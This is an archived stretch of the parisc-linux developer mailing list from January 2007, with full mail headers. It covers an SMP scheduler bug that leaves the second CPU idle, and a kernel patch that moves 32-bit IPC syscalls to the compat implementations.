	with ESMTP id 17171-10 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Jan 2007 16:43:00 -0700 (MST)
Original-Received: from wr-out-0506.google.com (wr-out-0506.google.com [64.233.184.230])
	by free.linux.hp.com (Postfix) with ESMTP id C71BC7D96F
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Jan 2007 16:43:00 -0700 (MST)
Original-Received: by wr-out-0506.google.com with SMTP id i11so28029wra
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 17 Jan 2007 15:43:00 -0800 (PST)
DomainKey-Signature: a=rsa-sha1; c=nofws; d=gmail.com; s=beta;
	h=received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
	b=HLFrj08mjKEESPlUEvA7yoP1t/Rpt/TCAi0OLCMogrcge1MGBWIq4rRyGVwQ67wK424WUFk5LBevS/xQAPfpe46FIDRfsrpMWvPVd6s5K+iM2/GNCv01GCwNj82I+M6sH+Zg8jChQMj0EjkUP+078VQm88p5DWSZ5Cfk9KFybIQ=
Original-Received: by 10.78.136.9 with SMTP id j9mr180626hud.1169077379278;
	Wed, 17 Jan 2007 15:42:59 -0800 (PST)
Original-Received: by 10.78.202.8 with HTTP; Wed, 17 Jan 2007 15:42:59 -0800 (PST)
In-Reply-To: <JC08XW$66011CFD48B5DF7E806F95C501CA4F72@scarlet.be>
Content-Disposition: inline
X-Google-Sender-Auth: c4b66651b11d2368
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: oIaIbQ7cLi5nE/fRZWtp0HNjZml1ZJjF
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24250

On 1/17/07, Joel Soete <soete.joel@scarlet.be> wrote:
> > Hi pa-ckers
> >
> [snip]
> >
> > That's with git head (+ tausq's cache patch
> is it that stuff: <http://parisc-linux.org/~tausq/cache.diff.txt>
>
> I test that on b2k running 32bit up kernel but failled to boot???

It only works on pa8800 cpus so far.

> > + kyle's sysinfo patch +
> oops I trusted it was merged now???

No it's not.

Greetings

-- 
Thibaut VARENE
http://www.parisc-linux.org/~varenet/
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Broken scheduler?
Date: Fri, 19 Jan 2007 07:52:57 +0100
Lines: 84
Approved: news@gmane.org
Message-ID: <JC3SG9$08664EC660BE72CA9D6A1C1EACA6B93C__10266.5862221786$1416624265$gmane$org@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624265 22502 80.91.229.3 (22 Nov 2014 02:44:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:25 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: "T-Bone" <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jan 2007 06:53:43 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx072) with SMTP; 19 Jan 2007 07:53:43 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D06967D96C;
	Thu, 18 Jan 2007 23:53:32 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29030-10; Thu, 18 Jan 2007 23:53:32 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 993147D96D;
	Thu, 18 Jan 2007 23:53:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 72F367D90B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Jan 2007 23:53:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29030-07 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Jan 2007 23:53:25 -0700 (MST)
Original-Received: from weequay.is.scarlet.be (weequay.is.scarlet.be [193.74.71.24])
	by free.linux.hp.com (Postfix) with ESMTP id 6D9C47D904
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 18 Jan 2007 23:53:25 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42])
	by weequay.is.scarlet.be  with ESMTP id l0J6qvT01132;
	Fri, 19 Jan 2007 07:52:59 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: zliCdk8TPTRtDujGPjIwxXgxc2tpZMu5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24251

> On 1/17/07, Joel Soete <soete.joel@scarlet.be> wrote:
> > > Hi pa-ckers
> > >
> > [snip]
> > >
> > > That's with git head (+ tausq's cache patch
> > is it that stuff: <http://parisc-linux.org/~tausq/cache.diff.txt>
> >
> > I test that on b2k running 32bit up kernel but failled to boot???
> 
> It only works on pa8800 cpus so far.
> 
> > > + kyle's sysinfo patch +
> > oops I trusted it was merged now???
> 
> No it's not.
> 
> Greetings
> 
Ok so I took the src tree:
author	Kyle McMartin <kyle@parisc-linux.org>
	Tue, 16 Jan 2007 05:10:29 +0000 (00:10 -0500)
committer	Kyle McMartin <kyle@parisc-linux.org>
	Tue, 16 Jan 2007 05:10:29 +0000 (00:10 -0500)
commit	c1dba753187a1af52c1938450044be53da50de4d
tree	04c348f72c54168b7c649ab146709e6ccaa1e44e
parent	34ad633b0f9d004e2400124d9f56b83a6e16f6a1

and just revert previously mentioned commit
(http://www.kernel.org/git/?p=3Dlinux/kernel/git/torvalds/linux-2.6.git;a=
=3Dcommitdiff;h=3De5e5673f828623e58a401862b33173591faaeaff)

which indeed help to boot this kernel configure 32bit smp for the d380 an=
d
also 64bit smp for n4k (not more smp since a long time).

That said, unfortunately nothing seems to be scheduled on cpu1:
e.g make -j 4 vmlinux on d380
top - 13:39:51 up 18 min,  2 users,  load average: 3.29, 2.04, 1.39
Tasks:  99 total,   5 running,  94 sleeping,   0 stopped,   0 zombie
Cpu0  : 81.6%us, 14.9%sy,  0.0%ni,  0.0%id,  0.0%wa,  0.0%hi,  3.5%si,  0=
.0%st
Cpu1  :  0.0%us,  0.0%sy,  0.0%ni, 99.1%id,  0.0%wa,  0.9%hi,  0.0%si,  0=
.0%st
Mem:    255028k total,   113996k used,   141032k free,    14940k buffers
Swap:   385552k total,        0k used,   385552k free,    47672k cached
Change delay from 1.0 to: 
  PID USER      PR  NI  VIRT  RES  SHR S %CPU %MEM    TIME+  P WCHAN    
COMMAND                                                   
 4681 root      25   0  7232 3544 2004 R   24  1.4   0:00.39 0 intr_chec =
cc1 
                                                      
 4677 root      25   0  8280 4140 2012 R   21  1.6   0:00.73 0 intr_chec =
cc1 
                                                      
 4676 root      25   0  8244 3948 2020 R   18  1.5   0:00.85 0 intr_chec =
cc1 
                                                      
 4673 root      22   0  8416 4160 2012 R   17  1.6   0:00.72 0 intr_chec =
cc1 
                                                      
 3360 jso       16   0  2908 1292  996 R    9  0.5   1:00.72 0 fd_instal =
top 
                                                      
 2078 gkrellmd  15   0  4388 1248 1000 S    8  0.5   1:31.38 0 select gkr=
ellmd
                                                  

Thanks,
    Joel

> -- 
> Thibaut VARENE
> http://www.parisc-linux.org/~varenet/
> 
> ---=0AScarlet One - Combinez l'ADSL avec la telephonie fixe illimitee e=
t epargnez 400 euros=0Ahttp://www.scarlet.be =0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Broken scheduler?
Date: Fri, 19 Jan 2007 00:11:09 -0700
Lines: 22
Approved: news@gmane.org
Message-ID: <20070119071109.GB14240__25896.5381690816$1416624266$gmane$org@colo.lackof.org>
References: <7d01f9f00701160400n4d3c3343rb864e765eb4423f9@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624266 22508 80.91.229.3 (22 Nov 2014 02:44:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:26 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Thibaut VARENE <T-Bone@parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jan 2007 07:11:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx010) with SMTP; 19 Jan 2007 08:11:27 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 80D007D9B9;
	Fri, 19 Jan 2007 00:11:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29714-08; Fri, 19 Jan 2007 00:11:23 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E43067D9C1;
	Fri, 19 Jan 2007 00:11:20 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B36B7D9B9
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Jan 2007 00:11:18 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29714-05 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Jan 2007 00:11:16 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 9A0417D9B8
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Jan 2007 00:11:16 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 13BED3D83E1;
	Fri, 19 Jan 2007 00:11:16 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16883-02; Fri, 19 Jan 2007 00:11:09 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id BAA9D3D83DA; Fri, 19 Jan 2007 00:11:09 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <7d01f9f00701160400n4d3c3343rb864e765eb4423f9@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: FVeGdEwXYmYSfenCanc32X1KWkZTQVQx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24252

On Tue, Jan 16, 2007 at 01:00:22PM +0100, Thibaut VARENE wrote:
> See how only the first CPU gets used, and how the 4 instances of
> setiathome share 25% cpu each...

Yup...that's the same bug I report on Jan 10, 2007.

> That's with git head (+ tausq's cache patch + kyle's sysinfo patch +
> e5e5673f828623e58a401862b33173591faaeaff reverted)

I believe mine was with 2.6.20-rc2 kernel. I know scheduling works
with the 2.6.17-pa6 kernel (on gsyprf11) but haven't checked what the
behavior is for kernels between...I wanted to do that already but
have been too busy lately.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@SteelEye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [PATCH] fix up our compat semaphore operations
Date: Fri, 19 Jan 2007 11:39:55 -0600
Lines: 149
Approved: news@gmane.org
Message-ID: <1169228395.2781.35.camel__19573.0124520653$1416624266$gmane$org@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624266 22519 80.91.229.3 (22 Nov 2014 02:44:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:26 +0000 (UTC)
To: Parisc List <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jan 2007 17:40:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx063) with SMTP; 19 Jan 2007 18:40:16 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6C3037D9CD;
	Fri, 19 Jan 2007 10:40:12 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02886-04; Fri, 19 Jan 2007 10:40:12 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id B0F677D9C7;
	Fri, 19 Jan 2007 10:40:10 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D90FF7D9BC
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Jan 2007 10:39:59 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02886-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Jan 2007 10:39:58 -0700 (MST)
Original-Received: from hancock.sc.steeleye.com (hancock.steeleye.com [71.30.118.248])
	by free.linux.hp.com (Postfix) with ESMTP id DF2597D8B2
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Jan 2007 10:39:57 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/8.11.6) with ESMTP id l0JHdux26954
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 19 Jan 2007 12:39:56 -0500
X-Mailer: Evolution 2.6.3 (2.6.3-1.fc5.5) 
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 10b7AjdDa2A7W7vDOHQyRLkyOWhhascd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24253

Some of this is simply obvious:  we don't do compat for things like
shmat, which we should given that they're using unsigned long arguments.
The controversial change might be to move to the compat_sys calls for
msgsnd and msgrcv ... it looks to me like the ABI in sys_parisc32.c
might be different from the one in ipc/compat.c  can someone who has a
copy of glibc check this?

Thanks,

James

Index: linux-2.6/arch/parisc/kernel/sys_parisc32.c
===================================================================
--- linux-2.6.orig/arch/parisc/kernel/sys_parisc32.c	2006-06-23 10:06:57.000000000 -0500
+++ linux-2.6/arch/parisc/kernel/sys_parisc32.c	2007-01-18 16:16:53.000000000 -0600
@@ -475,58 +475,6 @@
     char mtext[1];
 };
 
-asmlinkage long sys32_msgsnd(int msqid,
-				struct msgbuf32 __user *umsgp32,
-				size_t msgsz, int msgflg)
-{
-	struct msgbuf *mb;
-	struct msgbuf32 mb32;
-	int err;
-
-	if ((mb = kmalloc(msgsz + sizeof *mb + 4, GFP_KERNEL)) == NULL)
-		return -ENOMEM;
-
-	err = get_user(mb32.mtype, &umsgp32->mtype);
-	mb->mtype = mb32.mtype;
-	err |= copy_from_user(mb->mtext, &umsgp32->mtext, msgsz);
-
-	if (err)
-		err = -EFAULT;
-	else
-		KERNEL_SYSCALL(err, sys_msgsnd, msqid, (struct msgbuf __user *)mb, msgsz, msgflg);
-
-	kfree(mb);
-	return err;
-}
-
-asmlinkage long sys32_msgrcv(int msqid,
-				struct msgbuf32 __user *umsgp32,
-				size_t msgsz, long msgtyp, int msgflg)
-{
-	struct msgbuf *mb;
-	struct msgbuf32 mb32;
-	int err, len;
-
-	if ((mb = kmalloc(msgsz + sizeof *mb + 4, GFP_KERNEL)) == NULL)
-		return -ENOMEM;
-
-	KERNEL_SYSCALL(err, sys_msgrcv, msqid, (struct msgbuf __user *)mb, msgsz, msgtyp, msgflg);
-
-	if (err >= 0) {
-		len = err;
-		mb32.mtype = mb->mtype;
-		err = put_user(mb32.mtype, &umsgp32->mtype);
-		err |= copy_to_user(&umsgp32->mtext, mb->mtext, len);
-		if (err)
-			err = -EFAULT;
-		else
-			err = len;
-	}
-
-	kfree(mb);
-	return err;
-}
-
 asmlinkage int sys32_sendfile(int out_fd, int in_fd, compat_off_t __user *offset, s32 count)
 {
         mm_segment_t old_fs = get_fs();
@@ -639,21 +587,6 @@
 	return sys_lseek(fd, offset, origin);
 }
 
-asmlinkage long sys32_semctl(int semid, int semnum, int cmd, union semun arg)
-{
-        union semun u;
-	
-        if (cmd == SETVAL) {
-                /* Ugh.  arg is a union of int,ptr,ptr,ptr, so is 8 bytes.
-                 * The int should be in the first 4, but our argument
-                 * frobbing has left it in the last 4.
-                 */
-                u.val = *((int *)&arg + 1);
-                return sys_semctl (semid, semnum, cmd, u);
-	}
-	return sys_semctl (semid, semnum, cmd, arg);
-}
-
 long sys32_lookup_dcookie(u32 cookie_high, u32 cookie_low, char __user *buf,
 			  size_t len)
 {
Index: linux-2.6/arch/parisc/kernel/syscall_table.S
===================================================================
--- linux-2.6.orig/arch/parisc/kernel/syscall_table.S	2006-06-23 10:06:57.000000000 -0500
+++ linux-2.6/arch/parisc/kernel/syscall_table.S	2007-01-18 16:16:53.000000000 -0600
@@ -292,15 +292,15 @@
 	ENTRY_COMP(recvmsg)
 	ENTRY_SAME(semop)		/* 185 */
 	ENTRY_SAME(semget)
-	ENTRY_DIFF(semctl)
-	ENTRY_DIFF(msgsnd)
-	ENTRY_DIFF(msgrcv)
+	ENTRY_COMP(semctl)
+	ENTRY_COMP(msgsnd)
+	ENTRY_COMP(msgrcv)
 	ENTRY_SAME(msgget)		/* 190 */
 	ENTRY_SAME(msgctl)
-	ENTRY_SAME(shmat)
+	ENTRY_COMP(shmat)
 	ENTRY_SAME(shmdt)
 	ENTRY_SAME(shmget)
-	ENTRY_SAME(shmctl)		/* 195 */
+	ENTRY_COMP(shmctl)		/* 195 */
 	ENTRY_SAME(ni_syscall)		/* streams1 */
 	ENTRY_SAME(ni_syscall)		/* streams2 */
 	ENTRY_SAME(lstat64)
@@ -333,13 +333,13 @@
 	ENTRY_SAME(epoll_ctl)		/* 225 */
 	ENTRY_SAME(epoll_wait)
  	ENTRY_SAME(remap_file_pages)
-	ENTRY_SAME(semtimedop)
-	ENTRY_SAME(mq_open)
+	ENTRY_COMP(semtimedop)
+	ENTRY_COMP(mq_open)
 	ENTRY_SAME(mq_unlink)		/* 230 */
-	ENTRY_SAME(mq_timedsend)
-	ENTRY_SAME(mq_timedreceive)
-	ENTRY_SAME(mq_notify)
-	ENTRY_SAME(mq_getsetattr)
+	ENTRY_COMP(mq_timedsend)
+	ENTRY_COMP(mq_timedreceive)
+	ENTRY_COMP(mq_notify)
+	ENTRY_COMP(mq_getsetattr)
 	ENTRY_COMP(waitid)		/* 235 */
 	ENTRY_OURS(fadvise64_64)
 	ENTRY_SAME(set_tid_address)


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:35:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH] fix up our compat semaphore operations
Date: Sun, 21 Jan 2007 00:46:48 -0700
Lines: 138
Approved: news@gmane.org
Message-ID: <20070121074648.GA22649__38533.5544743159$1416624266$gmane$org@colo.lackof.org>
References: <1169228395.2781.35.camel@mulgrave.il.steeleye.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624266 22530 80.91.229.3 (22 Nov 2014 02:44:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:44:26 +0000 (UTC)
Cc: Parisc List <parisc-linux@lists.parisc-linux.org>
To: James Bottomley <James.Bottomley@SteelEye.com>
Original-X-From: - Wed Jul 02 21:27:37 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1001
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 21 Jan 2007 08:11:27 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx044) with SMTP; 21 Jan 2007 09:11:27 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9C2D77D889;
	Sun, 21 Jan 2007 00:47:05 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16141-02; Sun, 21 Jan 2007 00:47:05 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CB2117D83F;
	Sun, 21 Jan 2007 00:47:01 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 317F67D63A
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Jan 2007 00:46:58 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15974-09 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Jan 2007 00:46:56 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 7A2BA7D635
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 21 Jan 2007 00:46:56 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id C48C13D83DA;
	Sun, 21 Jan 2007 00:46:55 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 27006-04; Sun, 21 Jan 2007 00:46:49 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
